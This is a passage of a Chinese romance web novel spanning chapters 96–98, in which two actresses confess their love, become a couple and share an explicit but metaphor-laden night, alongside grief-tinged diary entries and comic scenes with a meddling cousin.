这部剧从没有任何竞争力到火爆全网，主演团队拿到奖项，主创团队也收获颇丰。 “我们一起打了个胜仗。”苏寄欢拍拍祝星亦的背感叹道，真不容易啊。 祝星亦哽咽着说：“我要你做我的常胜将军。” 苏寄欢笑得眼睛弯弯，声音像是从喉咙里飘出来：“遵命。” // 拍摄沧城纪录片前，祝星亦和苏寄欢需要在沧城住几天感受当地的人文风情。等纪录片结束之后，才会开始电影拍摄。 到达沧城，两人入住了沧海民宿。两人的房间挨在一起，阳台隔得很近。 杨雯给了她们拍摄脚本，等她们先熟悉一下沧城就可以拍摄出镜部分。怕两位不知道怎么逛沧城，杨雯专门找了个导游。 祝星亦跟苏寄欢说这个杨雯挺贴心的，起码对她们的衣食住行安排很上心。 稍晚点两人回到民宿开始收拾屋子，祝星亦收拾完走到阳台，波光粼粼的海面闪着她的眼，她吹着柔软的海风，终于卸下了连轴转的疲惫。 “苏老师！”祝星亦看苏寄欢站在阳台，忙伸手跟她打招呼。 苏寄欢也走过去，祝星亦却要她后退几步。苏寄欢不知所以然，只能往后退，哪知道祝星亦直接长腿一跨翻过自己的阳台爬到了苏寄欢的阳台处。 这可是七楼！两个阳台间还有很大的缝隙！ 苏寄欢忙去接祝星亦，祝星亦轻轻一跳跳了下来，“苏老师你别担心我，这对我来说不算什么，我闭着眼就能翻过来。” “太危险了！”苏寄欢揽着她的腰扶好她，语气里尽是责怪，“有门不走偏翻阳台，真要是出了意外怎么办！” “好了，我知道了。”祝星亦晃晃苏寄欢的手，一副乖乖认错的模样。 苏寄欢深吸一口气，无奈道：“下次不要这样做了，太危险了。” “知道了苏老师。”祝星亦背着手踮了下脚，眼睛弯弯的，“那，苏老师，如果我想闯进你的房间，你愿意给我开门吗？” “可我的门没有上过锁。”苏寄欢垂眼笑着看她轻声说，“当然，只对你有效。” 像一片羽毛拂过心尖，祝星亦情不自禁地向她靠近了些，“如果你想来我的房间，我会提前在门口等着给你开门。” 苏寄欢听了挑了下眉，“不用。在你接收到我到来的信号前，我早已破门而入。” “不礼貌。”祝星亦佯装生气，什么破门而入，太胡来了。 苏寄欢上前一步，勾着头轻声说：“我就想对你胡作非为。” 三月的海流淌着春天的透明，薄薄的天撞进爱人的眼尾。祝星亦没办法在这种情况下保持平静，只一味地笑。 苏寄欢问她笑什么，她抿着唇一遍一遍地喊苏老师。 苏老师，苏老师，苏老师。 苏寄欢也一遍一遍地回应。 嗯。嗯。怎么了？ 祝星亦歪了下头，纷乱的思绪封住了喉咙。 她的喜欢是咸涩的海风，是长满墙角的青苔，也是正在爆炸的恒星，还有向死而生的激烈鼓点。 是酸酸的、渺小的、扭曲的、颤栗的喜欢。是难以开口的苦涩，是惧怕逾越的非分之想。 但喜欢要勇敢地说出口才有效。 祝星亦望着苏寄欢，抬手拢起耳边的发，随后脚步向前，像无数个昨天一样抓住苏寄欢的手臂。 她仰头笑着说：“嘿嘿，苏老师，我喜欢你，很喜欢，很喜欢，超喜欢。” 船声呜咽，脆弱的浪花扑灭在海平面上，光滑的沙砾也变得闪亮。 温暖的港终于等到了勇敢的小船。 她终于停靠在她身边。 苏寄欢眼角泛红，许久，她低垂下头，认认真真直视另一双湿润的眼，声音轻柔：“太好了，我也超喜欢你。” 第96章 【日记】苏寄欢 【日记一】 今天上山遇见一只小狐狸。 好漂亮，好可爱。 她叫祝星亦。 【日记二】 她今天告诉我，她想做一颗威力巨大的中子星，谁要是再欺负我，她就炸谁。 她还说，金子是两颗中子星碰撞和超新星爆炸后的产物，她最喜欢金子了，金灿灿的，太让人喜欢了。 晚上我买了个大金镯子，亲手送给了她。 我说，我要把星星的碎片供奉给中子星老大，希望中子星老大可以永远保护我。 她拿着镯子哭了。 她说，从来没有人会那么在意她随口说的话。 我说我可以给你买很多金子。 我还说，你是中子星的话，那我就做另一颗中子星，我们一起离开这个破烂世界，我们逃逸在宇宙中，我们相互吸引、碰撞、合并，我们去生产更多更多的金子。 当然，我们还可以一起炸了这个世界。 我握着她的手，她红着脸跑了。 她真可爱。 我好喜欢她。 【日记三】 她说，我好喜欢你呀，苏老师。 我说，我也好喜欢你呀，星星。 我真的好喜欢你呀，星星。 谢谢你不觉得我无聊，谢谢你喜欢这么老气的我，谢谢你握着小拳头为我出的每一次气，谢谢你总是想着保护我。 我以为你会永远和我保持距离。 但现在，你是我的，我是你的，我们逃逸在宇宙中，我们共同坍缩。 我们是黏稠的沥青，是扯不开的毛线团。 我们是终将合并的中子星。 我好喜欢你。 我好喜欢你。 【日记四】 我许了一个愿望。 我在祈福牌上写，希望小星星会变成大明星。 我和她一起把祈福牌丢在鹿芜观里的树上。 很巧，我们的祈福牌丢在了一起。 她问我许了什么愿望，我不告诉她。 我问她许了什么，她说她希望我们永远在一起。 我也希望我们永远在一起。 【日记五】 我想我们会结婚的，今年，明年，或是后年？ 她想去温哥华结婚。 我说，在麓城就好，家人都在这里。 她说想再看一次海上烟火。 我说，在麓城也能看，但如果她真的想去温哥华，那就去嘛。 她想去哪里我就带她去哪里。 天涯海角？我也愿意。 我爱你，星星。 我可爱的小狐狸，我的星星，我交换过戒指的未婚妻。 我爱你，我们一定要结婚。 【日记六】 今天星星火化了。 葬礼还没有定时间，我让她们等一等，有些事还没做完。 我抱着骨灰盒回到家一个人坐了好久。 我在骨灰盒上贴了闪烁狐星的贴纸，然后把它放在我的床头。 星星，你怎么变得这么小了？ 星星，你好轻，我一只手就可以捧起你。 星星，你疼不疼？ 星星，我好想你。 【日记七】 星星，下辈子一定要记得我。 星星，下辈子换我保护你好不好？ 第97章 难受吗？ 祝星亦晃晃她的手臂哼了个奇怪的调子，“你是不是早就喜欢我了？” 苏寄欢刮了下她的鼻子，“你怎么知道？” “我猜的。” “真的？”苏寄欢双眉往上挑，很明显，她并不信。 祝星亦心虚，嘟着嘴拉着她去屋子里，“好吧，前不久才确认你也喜欢我。” “前不久？”苏寄欢对这个回答大失所望，“才确认？” 小狐狸谨慎到这种地步了？ “难道你要怪我吗？”小狐狸耳朵竖起来，头一歪，乌色的长发垂下来，尾巴也警惕地支在地面，似乎下一秒就要扑过来把人撕得粉碎。 苏寄欢退坐到沙发上，一手轻松地把小狐狸揽住，然后扶着小狐狸纤细的腰，腿稍微支着把人夹在怀里。 “那如果我要是怪你了，你会怎么办？”苏寄欢问。 小狐狸双手攀在她肩上思考了好久，只见她动了下耳朵，琥珀色的眼一转，忽然伸头咬上她的脖颈。 尖锐的牙齿啃得苏寄欢收紧了手，脸上却是笑意盈盈的，“又咬我，天天让你的老师吃亏，你这么舍得？” 祝星亦俯在她脖子上重重吮吸一口，稍稍移开几寸，皱着眉毛嘟囔：“你也咬过我，哪里吃亏了？” 苏寄欢漂亮的脸上露出大大的疑惑，“我？咬过你？我吗？” 祝星亦：“当然啊，一直都是你先咬我的，很过分。” 苏寄欢仔细回想过去，她想来想去都想不出来她到底什么时候咬过祝星亦。 趴在身上的人视线往下移，苏寄欢跟着低眸，看到两对抵在一起的绵软。 记忆被拉回到酒后失控的夜晚。 哦。那次啊。 苏寄欢不说话，单单看着祝星亦的脸，眼看这张脸越来越红，她动了下身子，声音轻轻，“那不是咬，是亲吻。” “就是咬。” “那你咬回来。” 祝星亦愣神儿，“我……咬回来？” 苏寄欢没等她反应过来，快速去解自己的扣子。 才解一颗，祝星亦慌慌张张地按住她的手，“你干什么！” 苏寄欢捏了捏她的腰说：“让你咬回来啊。” 说着，眼底眸光流转，薄唇轻轻勾着。 熟透的桃子红蔓延在脸颊上，小狐狸偏过头，声音低得都要听不到了，“留到晚上咬。” 苏寄欢忽然坐起来，吓得祝星亦赶忙扶着她的肩坐在她腿上保持平衡。 “真咬？”苏寄欢眼中翻跃一层深幽，她搂着祝星亦的腰，两个人离得更近些，几乎要碰着彼此的鼻尖。 她不确定，问得也有些急，“你晚上真咬我？” “不让咬就算了。”听她一直问，祝星亦顿时不想再坚持。 苏寄欢赶忙握住狐狸爪子亲了又亲，“让，让，肯定让咬。” 她有些激动，迫于性格，又表现得不是那么明显，弯着唇笑了好久问怀里的人，“那，我们现在是什么关系？” 小狐狸眼睛慌慌张张乱瞟几下，随后凑在她耳边说：“你是我的女朋友。” “那你呢？”苏寄欢轻轻拍她的背。 嗅着令人安心的柚子花香，祝星亦咬着唇回答：“我是你一个人的狐狸，我是你的女朋友。” “我也是你一个人的苏老师。”苏寄欢温柔地看着她说，“日后，请多指教。” 小狐狸忽然噘着嘴趴在苏寄欢肩头，有些埋怨，“你怎么到现在都没有亲我，我等好久了。” 啾—— 苏寄欢立刻在她脸颊亲了一口。 祝星亦哼哼两声，“不够。” 苏寄欢抱紧她吻上她的唇，柔软香甜的唇不再是惊慌和恐惧，这一次她们真正接纳了彼此。 “你好甜啊。”苏寄欢边啄边说，“你是不是哪里都很甜？” 她的手从祝星亦柔软的腰肢往上游移，忍不住揉揉捏捏，“快说，是不是。” 祝星亦红着耳朵小声说：“你都尝尝不就行了。” 苏寄欢满意地继续在她唇上辗转，气息交织在一起，她稳住呼吸附在祝星亦耳畔道：“遵命。” 苏寄欢继续纠缠着祝星亦的唇舌，祝星亦被吻得身子愈渐发软，若不是苏寄欢抱着她，她恐怕已经瘫倒了。 “苏老师……” “嗯？” “我好喜欢你。” “那我们永远在一起。” “好。” “鸭头啊，你和星星过两天就去……”苏芙猛地推开房门，话还没说完，便被眼前沙发上的景象惊得呆立当场。 苏寄欢与祝星亦正沉浸在热烈的亲吻之中，亲得忘乎所以。 苏寄欢紧紧将祝星亦困在腿上，祝星亦的白皙的腰腹袒露在外，苏寄欢的手放在里面，两人仿佛下一秒就能颠鸾倒凤不知天地为何物。 听到声响，沙发上的两人同时回头。 刹那间祝星亦满脸羞红，慌乱地想要从苏寄欢腿上下来，整个人像只受惊的小兔子浑身泛红，恨不能找个地缝钻进去。 苏寄欢眼疾手快，一把将她拉回身边，祝星亦这才乖乖靠着她，低着头，双手紧紧捂住滚烫的脸颊。 “干什么呢！啊？！干什么呢！！”苏芙踩着高跟鞋，风风火火地冲到两人面前，站定后双手叉腰，鞋尖在地面上快速点动发出清脆声响，好似在宣泄着她内心的震惊与不满。 苏寄欢被这高分贝的噪音吵得拧起了眉，不耐烦道：“有事？” “有事？”苏芙简直不敢相信自己的耳朵，苏寄欢居然还敢反问她，“你还问我有什么事？你没事吧？” “我当然没事。”苏寄欢眉头皱得更紧，眼中满是不悦。 苏芙的手指在空中快速地来回点着，先指向苏寄欢，又指向一旁的祝星亦。 瞧着祝星亦双腿微微发颤一副惊魂未定的模样，苏芙到嘴边的严厉斥责又咽了回去。 她转身拉过一个凳子“啪”地一声坐下，像个威严的大家长般审视着两人，“谈了？” “刚谈，你来的前几分钟才确定关系。”苏寄欢神色坦然，毫无遮掩之意。 “刚……”苏芙差点被自己的口水噎住，刚确定关系就这般火热？！苏寄欢这丫头也太猴急了吧，这不得把祝星亦吓坏啊！ 苏芙满心都想着要好好教训苏寄欢一顿，毕竟身为表姐，她自觉有这个资格。 可瞧着祝星亦在一旁害羞又窘迫的模样，她只能强压怒火，尽量温和地说：“门没关，没关啊！我一推就进来了，你们这个样子，要是被别人看见了该怎么收场？公关的时候难道要说你们在做人工呼吸吗？” 什么？门没关？苏寄欢瞬间感觉后背一阵发凉，冷汗直冒。 一旁的祝星亦缓缓转动捂着脸的手，无奈的目光从指缝间透出来，满是懊恼与尴尬。 苏寄欢轻咳一声，试图缓解尴尬，低声道：“不好意思。” 不好意思？苏芙可不觉得她有多少歉意。 “谈就谈吧，我不过多干涉你们。”苏芙语重心长地说，“但你们不能公开，绝对不能公开。那些cp粉磕磕cp是一回事，可你们真公开恋情那性质就不同了。尤其是星星，你正处于上升期，绝对不能有恋爱消息传出去，听到没？” 祝星亦仍旧捂着脸，她忙不迭地点头，动作像极了小鸡啄米。 “所以到底有什么事？”苏寄欢察觉到祝星亦的不自在，一心只想让苏芙快点离开。 休整过后两人就要跟着导游去附近游览，苏芙提前问导游要了路线，还跟导游仔细商量了一番。她告知苏寄欢，如果不想让导游带着，按照路线自己随意逛逛也没问题。 苏寄欢没想到苏芙这次倒是做了件好事，可就这么点小事还特意跑来通知，实在是小题大做。她冷着脸问苏芙还有事没，苏芙摇了摇头。 苏寄欢起身领着苏芙往门口走去，低头给苏芙发了个地点，“这里有我预订的东西，需要到店取，我今天没空，你帮我取一下。” 苏芙看了看那个地点，眉头皱起，这距离可不近。而且她今天还有其他任务，估计得到晚上才有时间过去。 苏寄欢无所谓地表示没事，只是晚上去的话可能要排队。 “没什么事了，我先走了啊。”苏芙握住门把手，却又转过身，忍不住唠叨，“我说你，怎么就这么急，也不怕把星星吓跑？” 苏寄欢只觉得她太过啰唆，伸手推搡着她往外走。 苏芙一把抓住她的手腕，追问道：“你妈那边怎么解释？打算怎么跟她说？” “我会带星星去跟她说。”苏寄欢语气坚定。 苏芙瞪大了眼睛，满脸不可思议，“你不怕气死她？！！” 苏寄欢听了这话嘴角上扬，露出一抹浅浅的笑，“我给她打过预防针，我不怕。” “祝你好运。”苏芙无奈地叹了口气，这种事她还真没办法帮苏寄欢，毕竟这也是苏寄欢的头一遭。 “别忘记帮我取东西。”苏寄欢再次叮嘱。 “知道了。”苏芙没好气地回应，转身离开了房间。 下午杨雯核对了脚本上的地点，要两人最近可以先去那些地点逛一逛。 苏寄欢根据导游给的路线和脚本上的地点制作了新的路线，顺便把一些口碑较好的店罗列出来。出去一趟肯定不能随便走走，起码要有不错的体验感。 等她做完规划天已经黑了，拖着疲惫的身子洗完澡，刚出来，阳台那处传来窸窸窣窣的声音。 苏寄欢大叫不好，慌忙跑到阳台那处，一看果然是祝星亦往她阳台这里翻，快步伸着双臂去接她。 好在祝星亦安全落地，苏寄欢急得满头大汗，忍不住责怪：“你怎么又翻阳台？不是答应我不翻的吗？？” 祝星亦抱歉道：“对不起嘛，我就是觉得挺方便的。” “翻阳台比走门近？” “那我来你屋子还要敲门，你还得给我开门。” “还狡辩？” 小狐狸看对方没有原谅自己的意思，漂亮的桃花眼一转，脚步向前挪了半步，伸出纤细白皙的指勾住苏寄欢的睡袍领口。 小小的缝隙灌进了风，唤醒了樱桃。 “那……姐姐要惩罚我吗？”小狐狸咬着唇瓣，一脸狡黠。 姐姐？ 苏寄欢兀自笑出声。 她握住还在往衣领里探的手腕，咬了咬不安分的手指，吮了下，舌尖在上面留下水痕。 也是甜的。 那其他地方呢？ 随后拦腰打横把人抱起，她眼里噙着笑意，声音闲淡却裹着十足的惑感，“自然要狠狠惩罚你这只不听话的坏狐狸。” 小狐狸跷着脚，一点都不老实，被抱着也要抓一把。 隔着睡袍抓一把不尽兴，小狐狸瓷白的手臂勾住苏寄欢的脖子探进去。 空间拥挤。 几乎要塞不下她的手。 “能容纳天地万物，却容不下我的爪子。”祝星亦费力地和衣服做斗争，怎么也无法舒舒服服地抓住。 把小狐狸放到床上，苏寄欢刚爬上去，小狐狸跪爬着拥住她，细细柔柔地在她耳边呢喃：“什么都不要做，我先咬你。” 说着，手指快速解开袍子。 柚子花香扑面而来。 好香。 然而祝星亦盯着白皙，失神地瘫坐了许久，什么也没做。 直到苏寄欢欺身向前送去，她才有了意识。 她跨坐着迟迟不敢下嘴，苏寄欢瞧她想咬又不敢的模样，握住她的手往上放。 狐狸爪子立刻往回缩，苏寄欢笑得颤动，“你怎么了？不是你说要咬的？嗯？” 祝星亦低头不语。 “乖，你想怎么咬，就怎么咬。”苏寄欢柔声对她说。 久久，她敬畏地注视着母神的神圣。 母神允许她放肆，于是她虔诚地咬上。 柔软的，温暖的，舒适的，安全的，包容万物的。 她紧皱眉头，眼角酸涩。 她的指移到苏寄欢的小腹上，幻想那里能有一根东西和她的肚脐眼相连。 她想做她的孩子，想被她哺育，想成为她枝上的果实，羽下的雏鸟，掌心的珠宝。 细雨湿哒哒地落下，苏寄欢被水濡湿的眸光闪了闪。她揽紧小狐狸的腰，正要说些什么，小狐狸手肘一动，同样环紧了她。 温温热的舌和唇送着暖意，让体内的火蹿动得更加剧烈，苏寄欢再忍不住，抬手勾住小狐狸的睡裙。 小狐狸配合地岔开坐着，苏寄欢拥着她，在她头顶落下一吻。 指尖沿着雕塑的轮廓自上而下，她感受着小狐狸身子的战栗，放缓了动作。 她低头看祝星亦紧闭的眼，低闷的声音在她胸口回响。 “难受吗？”她声音轻轻。 祝星亦嗯了声。 “跟我说话。”苏寄欢命令。 祝星亦噙着不说话。 苏寄欢垂眸看她，声音低哑，“不乖就要被惩罚。” 河谷到了雨季总是淋漓着，蜿蜒着，暴雨来袭前难捱无比。 祝星亦乱了呼吸，短促地哼了一声，冶艳的脸让人忍不住想要跟着一起沉沦。 “姐姐……”潮润的眼角滴下透亮的水珠，祝星亦面色酡红，气息沉重，“你要让着我。” 狐狸的诱人之处不止在毛发和皮相，仅仅一寸呼吸都能勾得人失了魂。 看着她，苏寄欢的吞吐太过艰涩，弥留在体内的痒与疼拖拽着她的意识渐行渐远。 “那要看你表现。”苏寄欢压着声音说。 她没有在迷宫里停滞太久，开始在深浅不一的空间里不断标记。 “姐姐……”小狐狸艰难地发出声音，这时的她咬字都不太标准，吐息都像是掉进了漩涡。 附着的颤动是一片怅惘的混沌，滴沥到裙子上浸透了所有的语言。 苏寄欢没有让小狐狸无措地失重，她俯身吻她的眉骨，浅褐色的眼眸装着动情的光彩，贴在小狐狸浓雾弥漫的眼角。 说喜欢太过粗略，说爱貌似虚情假意。 她抵着小狐狸的额头，最后在小狐狸耳边轻声呢喃。 而后，幽暗的城堡被海水吞没，黄金铸就的宫殿被冲撞得东倒西歪。 苏寄欢舔了下唇，轻抚祝星亦柔软的发，“星星真棒，继续好吗？” “好……” 她的眼里装满春天的海，比起未知的未来，她更想多看看好不容易追到手的爱人。 她目不转睛地盯着祝星亦，不要错过她每个表情。 潮湿又光怪陆离的森林里，浆果错落有致地摇曳，声音的波长游过黎明前的微光。 乌黑凌乱的发如涟漪般荡漾，脆弱的脖子浸着一层薄薄的汗。 她喊着小狐狸的名字，粗喘着气呢喃耳语。 稀薄的氧气钩锁着两个灵魂，天与海的喧嚣轰鸣渐近渐远。 白雾弥漫，心脏的鼓动震耳欲聋。 她们坠崖。 她们共同决堤。 // 梦里有什么东西在拉扯着她。 疼痛难忍。 呃…… 苏寄欢拧着眉毛睁开眼睛，香甜的味道扑入鼻间。 乌黑的发散落在枕上，小狐狸安静地睡在她怀里。 疼痛从胸前传来。 低头看，祝星亦阖眼噙着，嘴巴嚅动两下。 难道就这么被她噙了一夜？ 祝星亦又吮了会儿，苏寄欢疼得咬住下唇。 好疼。 苏寄欢缓缓移动身子准备逃离，祝星亦忽然生气地哼哼，凭着习惯伸手去抓。 动作太快，苏寄欢刚动了下，祝星亦立马又噙住了。 苏寄欢没办法，只好忍着疼痛轻声安抚：“星星，我要起床了，能不能放我走？” 正在吮吸的小狐狸哼唧一声松了口，声音软绵绵的，也有点口齿不清，“不要，你不要走，我不要你走。” 声音又小又细，听得让人心疼。 苏寄欢拧紧眉毛抱住她的腰身耳语：“不走，我去给你买早餐好不好？” “不想吃早餐。”祝星亦困得睁不开眼，手在被窝里摸摸索索，惯性使然，她又抓住了。 还好抓的是另外一边的，否则苏寄欢真的要疼死了。 “那我给你买午餐，你先继续睡，我回来了叫你。” “不要，你不要离开我。” 小狐狸不满地哼哼着，苏寄欢听后都不舍得移动身子。 推拉几下，苏寄欢才成功从被窝离开。 起身走两步，动一下便疼痛难耐。 扣上bra，接触起来更疼了。 不能让她这么咬了。苏寄欢暗暗发誓。 洗漱完毕准备出门，床上被窝里的小狐狸还在哼哼唧唧说着什么。 苏寄欢在她额上落个吻，转身戴上口罩出门。 她没去买早餐或午餐，去了附近的药店。 简单描述了自己的症状，好心的药师提醒：“母乳喂养经常会有这种情况发生，宝宝吃奶不专心，喜欢边吃边拽着玩儿，等她咬你的时候你马上捏她鼻子，她呼不了气就会知道不能咬你了。” “宝……宝……吃奶？”苏寄欢尴尬一笑，“不好意思，我不是被宝宝咬的，不是……我没有孩子，算了，你给我开点药好了。” 药师去拿了些涂抹的药，叮嘱了下又说：“宝宝大了的话可以试着断奶，毕竟大了就不听话了。你给她做点宝宝辅食或是果泥，再搭配些奶粉代替母乳，这样也会让你自己舒服点，她也吃得营养健康。” 苏寄欢一脸尴尬地挠着额头，她不知道怎么反驳，只一味地嗯嗯。 付完钱，药师又继续提醒。 苏寄欢抓着药听完嘱咐，慌慌忙忙走出药店。 药师看着苏寄欢的背影感叹：“新手妈妈就是容易害羞啊。” 开车去找餐厅，路上被苏芙撞见拦住了车。 苏芙一见苏寄欢便气冲冲地问责：“我昨天排了两个小时的队去帮你取东西，结果人家说你根本就没有预约，我给你打了二十几个电话你都不接，你什么意思？” 苏寄欢“恍然大悟”，“哦～～原来我没预约啊，不好意思，我忘记了。” 望着这副明显是故意的模样，苏芙攥着拳头想朝苏寄欢脸上打一拳。 不儿，故意整她？天天整她啊？！有意思吗？！ “你自己出来干什么呢？星星怎么不跟着一起来？”苏芙被苏寄欢气惯了，只能作罢。 苏寄欢答：“我出来买点药，星星还在睡觉。” 苏芙疑惑：“买药？谁生病了？” 苏寄欢沉默了会儿，说：“不是生病，就，一点用力过猛的小毛病。” “用力过猛的小毛病？”苏芙对这个词感到疑惑，用力过猛？ 苏芙马上拽着苏寄欢的袖子瞪大眼，声音明显激动起来：“你干什么了！你下手那么狠？你把星星……” “不是她，是我。”苏寄欢心道苏芙怎么这么想，又怕苏芙碰到她疼痛的地方，忙推开她。 “你？？”苏芙对这个回答很震惊，什么意思？星星把这臭鸭头给…… 苏芙想到了什么，整个人发出尖锐的暴鸣：“死鸭头你被星星抠坏了，还要自己出来买药？！！！” 第98章 姐姐，我要 苏寄欢倒吸一口凉气。 这是什么虎狼之词？ 她推搡了苏芙一下坐回车里。 懒得理这女人，脑回路清奇。 苏芙开车门跨进副驾指指点点，苏寄欢一脸不耐，“你下车，太吵了。” “我在担心你诶！”苏芙叹这个妹妹真是不领情，“你严不严重？要不要去医院？” 苏寄欢扣上安全带随口说：“严重死了，已经无法行动。” 苏芙一拍大腿，“去医院啊！还愣着干什么！下来！我开车！” 苏寄欢一脚油门踩走，苏芙还没来得及系安全带整个人要砸前面。 苏芙没空管自己，快速扣上后着急道：“快快，去医院！哎呀，星星她力气确实大，小年轻下手没轻没重的。不过我真没想到，你居然会被星星……好吧，你确实也挺……” 苏寄欢察觉到不对劲，敏锐地问：“我挺什么？” “身娇体软易推倒。”苏芙回答，“你身材这么好，星星看了把持不住也是人之常情。我懂。你冰冷的外表下藏了一颗被妹妹推倒的心，就是讲出来还挺狼狈的，是不是？” 苏寄欢大力扭方向盘停路边，苏芙问她干什么，她说买奶茶。 苏芙扭头看路边的店，是当地热门奶茶店，赶忙跟着下来。 苏寄欢点完单，苏芙还在研究奶茶的口味，准备再喊苏寄欢点杯，却听车发动的声音。 下一秒。 苏寄欢开着车消失在苏芙眼前。 连个背影都没给她留。 “臭鸭头！！啊啊啊啊！！”苏芙无力咆哮。 苏芙打车回去要找苏寄欢再多说些，敲开民宿门后发现只有祝星亦在屋子里。 苏芙不好问祝星亦昨日两人是如何颠鸾倒凤不知天地为何物，只看祝星亦脖子上的吻痕就知道多精彩，简单说了两句便离开。 苏芙的房间跟两人的房间离得较远，她回到自己房间后始终安静不下来。 也是怪啊，她真的有点想知道苏寄欢这个死鸭头是怎么愿意被星星按下去的。越想越好奇，苏芙也不管知羞不知羞，折回去准备问一问。 门没锁，苏芙一推就进来了，祝星亦在阳台打电话。苏芙没凑近，在客厅等了会儿。 “ColorfulMagic？嗯，我有所耳闻。” “拍摄完电影是有时间，目前我可以负责选曲。” “是西西尔舞团的那个周老师吗？嗯，对，她的编舞很出众。” “好，好的。可以，我很满意，如果你们可以顺利推行我会更满意。” 苏芙看她在聊工作的事，心想她真忙啊。不像自己那个臭妹妹，去年一年就拍了一部戏，剩下的时间都浪费了。 祝星亦回到客厅后，苏芙还是没好意思聊那件事。但回来一趟什么也不问苏芙觉得亏了，尤其是正好现在苏寄欢不在。 于是苏芙八卦地问祝星亦和苏寄欢的恋爱细节，祝星亦跟苏芙讲起这个有点害羞，毕竟苏芙是苏寄欢的表姐，算个长辈，聊起恋爱的细节自然不好说出口。 苏芙要她大大方方的，祝星亦只好把一些有趣的过往讲了出来。苏芙一听觉得不太能对得上苏寄欢粗略讲过的事，但想着也问不出来什么匆匆告别。 第二天苏芙又来找苏寄欢，催她快点去沧城转转，不然没有时间拍摄宣传片。 “知道了。”苏寄欢弯腰收拾着客厅里的东西，看苏芙还在客厅里坐着，催促她：“你怎么还不走？” 苏芙摆出一个[why］的姿势，“我是你经纪人，我也是你姐，我不能坐在你屋子里跟你讲一讲工作吗？” 苏寄欢抱着双臂站在沙发旁没好气道：“你在这里待着，星星都不敢出来了。” 苏*芙一来祝星亦就在卧室里待着，没怎么出来过。 苏芙刚要说什么，看到卧室门口探出个脑袋。 她正要喊祝星亦过来，祝星亦又把头缩了回去。 苏芙给自己喊冤，她哪里知道两人恋爱后祝星亦这么怕她啊。她只是一个认可二人恋情的大家长，又不会多问什么。 但她为自己的辩解在苏寄欢耳朵里只是狡辩罢了。 苏芙不自找没趣，拍拍屁股起身，临走还语重心长地说：“你要是不想受伤，你就主动跟星星说，让她轻一点，是不是自己受伤了也不跟星星说？这种事情还是要说一说的，你懂哈。” 苏芙拍拍苏寄欢潇洒离去。 祝星亦这才从卧室里跑出来十分担忧地抓住苏寄欢的手臂问：“苏老师，二姐说你受伤了，你哪里受伤了？” 苏寄欢忙拍拍她的背说：“没有受伤，你别听她乱讲。” “你受伤一定要跟我讲。” 带着小狐狸回卧室坐下，苏寄欢抚平她皱着的眉头笑着问：“我跟你讲你就可以治好我吗？” “可是我想关心你，我希望你一直都好好的，不要受伤。”祝星亦扑到她怀里紧紧抱住她。 痛痛痛痛痛！ 苏寄欢疼得头上出了一层汗。 为了快点好起来，苏寄欢专门和祝星亦换位置睡觉，也想方设法让祝星亦少咬她。 但是原来的肿痛还没消，祝星亦这一挤压，疼得她闷哼一声。她觉得还是要提醒一句比较好，不然最后两边都疼的话为难的还是自己。 苏寄欢忍着疼痛抱住祝星亦的腰，“星星，我跟你说件事。” “怎么了？” 苏寄欢松开她指指自己的胸，有些吃痛地说：“前两天你把我这里咬肿了，现在一碰就疼，但你不要担心，我抹点药就好了。不过需要注意的是你以后晚上不要含着它们睡觉，因为你有时候会突然啃一口，很疼。” 祝星亦晚上做梦时会突然用嘴揪着拽一下，苏寄欢每次都会从噩梦中醒来。想推开祝星亦的嘴，结果推一下对方就生气地哼哼。 她没办法，只能忍着疼。 好在她记得医师的嘱咐，抬手捏捏小狐狸的鼻子后立马松了口。但小狐狸每次都能再次含住，这种痛苦只能在白天才能消解。 苏寄欢不知道这是祝星亦的习惯还是什么奇怪的癖好，于是问：“你睡觉都是必须含着东西才能睡着吗？不然你以后含我的手指？” 祝星亦摇摇头，她对给苏寄欢造成的困扰感到抱歉。想到苏寄欢疼痛难忍的模样，她又一阵阵不安，“苏老师，真的对不起，我没轻没重的……苏老师，是不是非常疼？” 苏寄欢揉揉她的头发，快速穿好衣服安抚她，“等过段时间就好了，你只要不一整夜含着它们就没事。” 祝星亦知道错了，答应苏寄欢这段时间好好保护它们。 她低着头在苏寄欢小腹上画圈圈，声音小小的，“我只是觉得这里很温暖，你的怀抱和你的小腹都很温暖，我想一直拥有它们。” “那我每天都抱着你睡觉，暖一暖你，好不好？”苏寄欢听着小狐狸的声音忍不住怜爱了，同时心里滋生一层浓浓的愧疚。 小狐狸只是想要一点点温暖，又不是要天上的太阳，她有什么错？ 苏寄欢低下头，目光轻柔得能滴出水来，满是怜爱与慈爱地凝视着低着头的小狐狸。 她抬起手温柔地抚了抚小狐狸的发丝，声音糯糯的，带着无尽的宠溺：“它们都是你的，我也是你的，还有，我不疼，我真不疼。” 话落她缓缓张开双臂，像是生怕惊扰到小狐狸般将她轻轻拥入怀中。她的怀抱太过柔软又温暖，小狐狸感受到这股暖意，安心地合上眼。 苏寄欢的下巴轻靠在祝星亦的头顶，一下一下温柔地摩挲着，像是要用自己全部的力量给予祝星亦无尽的安全感。 祝星亦趴在苏寄欢胸前，声音像融化了的糖浆甜蜜诱人，“苏老师，你早上起来的时候能不能也叫我起来？我每次睁开眼都见不到你了。” “我不起来怎么给小懒虫做饭吃？” “我可以和你一起做饭。”祝星亦贴在苏寄欢身上，单薄的肩膀轻轻抖动，“我不想离开你，一刻也不想，我想做你的尾巴。” “我的尾巴啊……”苏寄欢握住她的手轻笑，“幸好人类没有尾巴，不然你早就发现我喜欢你了。” 祝星亦嘟着嘴说：“可我希望我们有尾巴，如果我知道你早就喜欢我了，我一定也会快点喜欢你。” 她啄了下苏寄欢的脸，像小鸟柔软的喙轻轻触碰吹弹可破的肌肤。 “而且，你也会看到我为你疯狂摇尾巴。”祝星亦笑得眼睛亮晶晶的。 “你不害怕吗？一个比你大八岁，还比你地位高的人喜欢你，你不怕吗？不怕我会玩弄你，不怕被我的权势欺压吗？” 怕。 祝星亦当然怕。 她前世经历过一模一样的事，被晏瑾年喜欢，被晏瑾年追求，被晏瑾年用权势欺压，最后被晏瑾年抛弃。 所以她面对苏寄欢时永远在抗拒，为此她亲手砌了一堵高墙，时刻提醒自己千万不要重蹈覆辙。 但。 苏寄欢不是晏瑾年。 祝星亦脑袋贴在苏寄欢心口处，一字一句道：“可是苏老师不是这样的人，别人可能是，但你不是。” “不要那么容易相信别人，有些人只是表面伪装得好，看起来是正人君子，实际上是……”苏寄欢紧紧握住她的手，身子从她脑袋上移开，然后认真看着她，嘴角翘起，“实际上是一头大坏狼。” 大坏狼和小狐狸？ 不不不。 祝星亦反手握住苏寄欢的手，琥珀色的眸子一闪一闪的。 